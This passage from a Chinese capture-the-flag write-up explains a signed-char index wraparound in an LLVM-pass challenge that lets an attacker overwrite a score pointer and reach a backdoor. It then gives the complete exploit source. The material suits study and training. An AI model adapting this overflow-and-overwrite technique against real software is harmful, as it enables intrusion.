v28 = v37;
v29[0] = llvm::Value::getName(CalledFunction);// 获取函数名
v29[1] = v26; // 处理函数的参数
llvm::StringRef::operator std::string(v30, v29);// 将v29转换为StringRef类型对象后存储在v30中
*(_BYTE *)std::map<std::string,unsigned char>::operator[](&funMap[abi:cxx11], v30) = v28;// 将该函数插入map中
std::string::~string(v30);
}
std::string::~string(v58);

由于比较重要,所以代码中写了很多注释,下面就只讲讲几个比较重要的点:
代码中遍历的时候是按照函数名大小遍历的,所以我们在利用该段代码的时候要注意函数的命名
漏洞出现在weaponlist[v33] = *(_BYTE *)(v24 + 0x20);这一段代码
weaponlist数组是通过char类型的v33进行索引的,而有符号char类型的范围是-128 ~ +127,也就是说,当v33的值为127时,此时加1v33的值会变成-128而不是128,所以我们可以利用这个点来造成数组后溢来修改后面的值
weaponlist数组后存在的数据:

可以看见score指针就在其后面,如果我们可以利用数组后溢来改写score指针指向一个很大的值的地址,那么我们在使用fight函数时就可以满足backdoor函数的调用条件从而进入backdoor函数,而cmd已经在前面被我们改写成"cat flag",所以进入backdoor函数后我们即可获得flag
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
// clang-8 -emit-llvm -S exp.c -o exp.ll
void wuxiangdeyidao();
void guobapenhuo();
void tiandongwanxiang();
void fight(int);
void Qanux000(int);
void Qanux001(int);
void Qanux002(int);
void Qanux003(int);
void Qanux004(int);
void Qanux005(int);
void Qanux006(int);
void Qanux007(int);
void Qanux008(int);
void Qanux009(int);
void Qanux010(int);
void Qanux011(int);
void Qanux012(int);
void Qanux013(int);
void Qanux014(int);
void Qanux015(int);
void Qanux016(int);
void Qanux017(int);
void Qanux018(int);
void Qanux019(int);
void Qanux020(int);
void Qanux021(int);
void Qanux022(int);
void Qanux023(int);
void Qanux024(int);
void Qanux025(int);
void Qanux026(int);
void Qanux027(int);
void Qanux028(int);
void Qanux029(int);
void Qanux030(int);
void Qanux031(int);
void Qanux032(int);
void Qanux033(int);
void Qanux034(int);
void Qanux035(int);
void Qanux036(int);
void Qanux037(int);
void Qanux038(int);
void Qanux039(int);
void Qanux040(int);
void Qanux041(int);
void Qanux042(int);
void Qanux043(int);
void Qanux044(int);
void Qanux045(int);
void Qanux046(int);
void Qanux047(int);
void Qanux048(int);
void Qanux049(int);
void Qanux050(int);
void Qanux051(int);
void Qanux052(int);
void Qanux053(int);
void Qanux054(int);
void Qanux055(int);
void Qanux056(int);
void Qanux057(int);
void Qanux058(int);
void Qanux059(int);
void Qanux060(int);
void Qanux061(int);
void Qanux062(int);
void Qanux063(int);
void Qanux064(int);
void Qanux065(int);
void Qanux066(int);
void Qanux067(int);
void Qanux068(int);
void Qanux069(int);
void Qanux070(int);
void Qanux071(int);
void Qanux072(int);
void Qanux073(int);
void Qanux074(int);
void Qanux075(int);
void Qanux076(int);
void Qanux077(int);
void Qanux078(int);
void Qanux079(int);
void Qanux080(int);
void Qanux081(int);
void Qanux082(int);
void Qanux083(int);
void Qanux084(int);
void Qanux085(int);
void Qanux086(int);
void Qanux087(int);
void Qanux088(int);
void Qanux089(int);
void Qanux090(int);
void Qanux091(int);
void Qanux092(int);
void Qanux093(int);
void Qanux094(int);
void Qanux095(int);
void Qanux096(int);
void Qanux097(int);
void Qanux098(int);
void Qanux099(int);
void Qanux100(int);
void Qanux101(int);
void Qanux102(int);
void Qanux103(int);
void Qanux104(int);
void Qanux105(int);
void Qanux106(int);
void Qanux107(int);
void Qanux108(int);
void Qanux109(int);
void Qanux110(int);
void Qanux111(int);
void Qanux112(int);
void Qanux113(int);
void Qanux114(int);
void Qanux115(int);
void Qanux116(int);
void Qanux117(int);
void Qanux118(int);
void Qanux119(int);
void Qanux120(int);
void Qanux121(int);
void Qanux122(int);
void Qanux123(int);
void Qanux124(int);
void Qanux125(int);
void Qanux126(int);
void Qanux127(int);
void Qanux128(int);
void Qanux129(int);
void Qanux130(int);
void Qanux131(int);
void Qanux132(int);
void Qanux133(int);
void Qanux134(int);
void Qanux135(int);
void Qanux136(int);
void Qanux137(int);
void Qanux138(int);
void Qanux139(int);
void Qanux140(int);
void Qanux141(int);
void Qanux142(int);
void Qanux143(int);
void Qanux144(int);
void Qanux145(int);
void Qanux146(int);
void Qanux147(int);
void Qanux148(int);
void Qanux149(int);
void Qanux150(int);
void Qanux151(int);
void Qanux152(int);
void Qanux153(int);
void Qanux154(int);
void Qanux155(int);
void Qanux156(int);
void Qanux157(int);
void Qanux158(int);
void Qanux159(int);
void Qanux160(int);
void Qanux161(int);
void Qanux162(int);
void Qanux163(int);
void Qanux164(int);
void Qanux165(int);
void Qanux166(int);
void Qanux167(int);
void Qanux168(int);
void Qanux169(int);
void Qanux170(int);
void Qanux171(int);
void Qanux172(int);
void Qanux173(int);
void Qanux174(int);
void Qanux175(int);
void Qanux176(int);
void Qanux177(int);
void Qanux178(int);
void Qanux179(int);
void Qanux180(int);
void Qanux181(int);
void Qanux182(int);
void Qanux183(int);
void Qanux184(int);
void Qanux185(int);
void Qanux186(int);
void Qanux187(int);
void Qanux188(int);
void Qanux189(int);
void Qanux190(int);
void Qanux191(int);
void Qanux192(int);
void Qanux193(int);
void Qanux194(int);
void Qanux195(int);
void Qanux196(int);
void Qanux197(int);
void Qanux198(int);
void Qanux199(int);
void Qanux200(int);
void Qanux201(int);
void Qanux202(int);
void Qanux203(int);
void Qanux204(int);
void Qanux205(int);
void Qanux206(int);
void Qanux207(int);
void Qanux208(int);
void Qanux209(int);
void Qanux210(int);
void Qanux211(int);
void Qanux212(int);
void Qanux213(int);
void Qanux214(int);
void Qanux215(int);
void Qanux216(int);
void Qanux217(int);
void Qanux218(int);
void Qanux219(int);
void Qanux220(int);
void Qanux221(int);
void Qanux222(int);
void Qanux223(int);
void Qanux224(int);
void Qanux225(int);
void Qanux226(int);
void Qanux227(int);
void Qanux228(int);
void Qanux229(int);
void Qanux230(int);
void Qanux231(int);
void Qanux232(int);
void Qanux233(int);
void Qanux234(int);
void Qanux235(int);
void Qanux236(int);
void Qanux237(int);
void Qanux238(int);
void Qanux239(int);
void Qanux240(int);
void Qanux241(int);
void Qanux242(int);
void Qanux243(int);
void Qanux244(int);
void Qanux245(int);
void Qanux246(int);
void Qanux247(int);
void Qanux248(int);
void Qanux249(int);
void Qanux250(int);
void Qanux251(int);
void Qanux252(int);
void Qanux253(int);
void Qanux254(int);
void Qanux255(int);

void gamestart() {
tiandongwanxiang();
wuxiangdeyidao();
guobapenhuo();
wuxiangdeyidao();
Qanux000(0);
Qanux001(1);
Qanux002(2);
Qanux003(3);
Qanux004(4);
Qanux005(5);
Qanux006(6);
Qanux007(7);
Qanux008(8);
Qanux009(9);
Qanux010(10);
Qanux011(11);
Qanux012(12);
Qanux013(13);
Qanux014(14);
Qanux015(15);
Qanux016(16);
Qanux017(17);
Qanux018(18);
Qanux019(19);
Qanux020(20);
Qanux021(21);
Qanux022(22);
Qanux023(23);
Qanux024(24);
Qanux025(25);
Qanux026(26);
Qanux027(27);
Qanux028(28);
Qanux029(29);
Qanux030(30);
Qanux031(31);
Qanux032(32);
Qanux033(33);
Qanux034(34);
Qanux035(35);
Qanux036(36);
Qanux037(37);
Qanux038(38);
Qanux039(39);
Qanux040(40);
Qanux041(41);
Qanux042(42);
Qanux043(43);
Qanux044(44);
Qanux045(45);
Qanux046(46);
Qanux047(47);
Qanux048(48);
Qanux049(49);
Qanux050(50);
Qanux051(51);
Qanux052(52);
Qanux053(53);
Qanux054(54);
Qanux055(55);
Qanux056(56);
Qanux057(57);
Qanux058(58);
Qanux059(59);
Qanux060(60);
Qanux061(61);
Qanux062(62);
Qanux063(63);
Qanux064(64);
Qanux065(65);
Qanux066(66);
Qanux067(67);
Qanux068(68);
Qanux069(69);
Qanux070(70);
Qanux071(71);
Qanux072(72);
Qanux073(73);
Qanux074(74);
Qanux075(75);
Qanux076(76);
Qanux077(77);
Qanux078(78);
Qanux079(79);
Qanux080(80);
Qanux081(81);
Qanux082(82);
Qanux083(83);
Qanux084(84);
Qanux085(85);
Qanux086(86);
Qanux087(87);
Qanux088(88);
Qanux089(89);
Qanux090(90);
Qanux091(91);
Qanux092(92);
Qanux093(93);
Qanux094(94);
Qanux095(95);
Qanux096(96);
Qanux097(97);
Qanux098(98);
Qanux099(99);
Qanux100(100);
Qanux101(101);
Qanux102(102);
Qanux103(103);
Qanux104(104);
Qanux105(105);
Qanux106(106);
Qanux107(107);
Qanux108(108);
Qanux109(109);
Qanux110(110);
Qanux111(111);
Qanux112(112);
Qanux113(113);
Qanux114(114);
Qanux115(115);
Qanux116(116);
Qanux117(117);
Qanux118(118);
Qanux119(119);
Qanux120(120);
Qanux121(121);
Qanux122(122);
Qanux123(123);
Qanux124(124);
Qanux125(125);
Qanux126(126);
Qanux127(127);
Qanux128(128);
Qanux129(129);
Qanux130(130);
Qanux131(131);
Qanux132(132);
Qanux133(133);
Qanux134(134);
Qanux135(135);
Qanux136(136);
Qanux137(137);
Qanux138(138);
Qanux139(139);
Qanux140(140);
Qanux141(141);
Qanux142(142);
Qanux143(143);
Qanux144(144);
Qanux145(145);
Qanux146(146);
Qanux147(147);
Qanux148(148);
Qanux149(149);
Qanux150(150);
Qanux151(151);
Qanux152(152);
Qanux153(153);
Qanux154(154);
Qanux155(155);
Qanux156(156);
Qanux157(157);
Qanux158(158);
Qanux159(159);
Qanux160(160);
Qanux161(161);
Qanux162(162);
Qanux163(163);
Qanux164(164);
Qanux165(165);
Qanux166(166);
Qanux167(167);
Qanux168(168);
Qanux169(169);
Qanux170(170);
Qanux171(171);
Qanux172(172);
Qanux173(173);
Qanux174(174);
Qanux175(175);
Qanux176(176);
Qanux177(177);
Qanux178(178);
Qanux179(179);
Qanux180(180);
Qanux181(181);
Qanux182(182);
Qanux183(183);
Qanux184(184);
Qanux185(185);
Qanux186(186);
Qanux187(187);
Qanux188(188);
Qanux189(189);
Qanux190(190);
Qanux191(191);
Qanux192(192);
Qanux193(193);
Qanux194(194);
Qanux195(195);
Qanux196(196);
Qanux197(197);
Qanux198(198);
Qanux199(199);
Qanux200(200);
Qanux201(201);
Qanux202(202);
Qanux203(203);
Qanux204(204);
Qanux205(205);
Qanux206(206);
Qanux207(207);
Qanux208(208);
Qanux209(209);
Qanux210(210);
Qanux211(211);
Qanux212(212);
Qanux213(213);
Qanux214(214);
Qanux215(215);
Qanux216(216);
Qanux217(217);
Qanux218(218);
Qanux219(219);
Qanux220(220);
Qanux221(221);
Qanux222(222);
Qanux223(223);
Qanux224(224);
Qanux225(225);
Qanux226(226);
Qanux227(227);
Qanux228(228);
Qanux229(229);
Qanux230(230);
Qanux231(231);
Qanux232(232);
Qanux233(233);
Qanux234(234);
Qanux235(235);
Qanux236(236);
Qanux237(237);
Qanux238(238);
Qanux239(239);
Qanux240(0);
Qanux241(0xe0);
Qanux242(0x77);
Qanux243(0);
Qanux244(0);
Qanux245(0);
Qanux246(0);
Qanux247(0);
Qanux248(248);
Qanux249(249);
Qanux250(250);
Qanux251(251);
Qanux252(252);
Qanux253(253);
Qanux254(254);
Qanux255(255);
Qanux240(666);
Qanux241(666);
Qanux242(666);
Qanux243(666);
Qanux244(666);
Qanux245(666);
Qanux246(666);
Qanux247(666);
fight(0);
}

参考:
https://zhuanlan.zhihu.com/p/122522485?utm_id=0
https://bbs.kanxue.com/thread-273119.htm#msg_header_h1_0
https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6